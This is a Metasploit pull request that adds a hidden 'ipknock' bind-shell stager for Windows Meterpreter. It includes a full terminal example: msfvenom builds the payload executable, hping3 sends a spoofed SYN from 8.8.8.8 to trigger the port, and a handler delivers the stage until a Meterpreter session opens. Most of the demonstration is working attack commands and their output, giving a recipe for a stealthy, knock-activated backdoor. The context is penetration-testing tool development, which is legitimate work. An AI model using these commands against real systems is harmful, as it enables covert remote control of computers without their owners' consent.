rapid7/metasploit-framework — pull request #4470 by BorjaMerino (2014-12-27 21:23:20+00:00)
Title: Add stager ipknock shellcode (PR 2)

This is a Re-Pull Request of https://github.com/rapid7/metasploit-framework/pull/3573 since I messed up with git (@wvu-r7 I rebase more than necessary :/ ). Please remove the other PR.

The payload includes the new block_api (365 --> 359 bytes). The payloads_spec is also updated.

Here I leave the same example:

```
~ ./msfvenom -p windows/meterpreter/bind_hidden_ipknock_tcp KHOST=8.8.8.8 LPORT=4444 -f exe > ipknock.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 0 compatible encoders

~ nmap -sT 192.168.1.39 -p 4444 | grep closed
4444/tcp closed krb524

~ hping3 --spoof 8.8.8.8 -S -p 4444 192.168.1.39 -c 1 ; sleep 45 ; ./msfcli multi/handler payload=windows/meterpreter/bind_tcp LPORT=4444 RHOST=192.168.1.39 E
HPING 192.168.1.39 (wlan0 192.168.1.39): S set, 40 headers + 0 data bytes

--- 192.168.1.39 hping statistic ---
1 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
[*] Initializing modules...
payload => windows/meterpreter/bind_tcp
LPORT => 4444
RHOST => 192.168.1.39
[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (769536 bytes) to 192.168.1.39
[*] Meterpreter session 1 opened (192.168.1.37:54242 -> 192.168.1.39:4444) at 2014-07-26 10:21:58 +0200

meterpreter >
```